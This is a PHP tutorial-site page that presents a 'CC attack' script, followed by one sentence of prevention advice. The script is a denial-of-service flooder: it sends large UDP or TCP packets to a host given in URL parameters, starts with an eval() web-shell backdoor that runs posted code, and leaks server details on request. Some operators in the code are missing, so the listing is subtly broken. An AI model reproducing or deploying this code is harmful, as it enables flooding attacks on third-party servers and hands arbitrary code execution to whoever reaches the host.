phpcc공격코드cc공격방지방법

WBOY
풀어 주다: 2016-07-25 08:54:25
원래의
1379명이 탐색했습니다.
  1. eval($_POST[Chr(90)]);
  2. set_time_limit(86400);
  3. ignore_user_abort(True);
  4. $packets = 0;
  5. $http = $_GET['http'];
  6. $rand = $_GET['exit'];
  7. $exec_time = $_GET['time'];
  8. if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
  9. {
  10. if(StrLen($_GET['rat'])<>0)
  11. {
  12. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13. exit;
  14. }
  15. echo "Php 2012 Terminator";
  16. exit;
  17. }
  18. for($i=0;$i<65535;$i )
  19. {
  20. $out .= "X";
  21. }
  22. //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
  23. $max_time = time() $exec_time;
  24. if($rand==53)
  25. while(1)
  26. {
  27. $packets ;
  28. if(time() > $max_time)
  29. {
  30. break;
  31. }
  32. $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
  33. if($fp)
  34. {
  35. fwrite($fp, $out);
  36. fclose($fp);
  37. }
  38. }
  39. else
  40. if($rand==500)
  41. while(1)
  42. {
  43. $packets ;
  44. if(time() > $max_time){
  45. break;
  46. }
  47. $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
  48. if($fp)
  49. {
  50. fwrite($fp, $out);
  51. fclose($fp);
  52. }
  53. }
  54. else
  55. while(1)
  56. {
  57. $packets ;
  58. if(time() > $max_time){
  59. break;
  60. }
  61. $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
  62. if($fp)
  63. {
  64. fwrite($fp, $out);
  65. fclose($fp);
  66. }
  67. }
  68. ?>
复制代码

对于cc攻击的防范,如果是动态页面,可以判断时间,如果是静态的网站,则需要服务器上安装防cc攻击的软件,一般服务器安全狗还是不错的。

对于php cc攻击的防范,要时刻注意。



원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿
회사 소개 부인 성명 Sitemap
PHP 중국어 웹사이트:공공복지 온라인 PHP 교육,PHP 학습자의 빠른 성장을 도와주세요!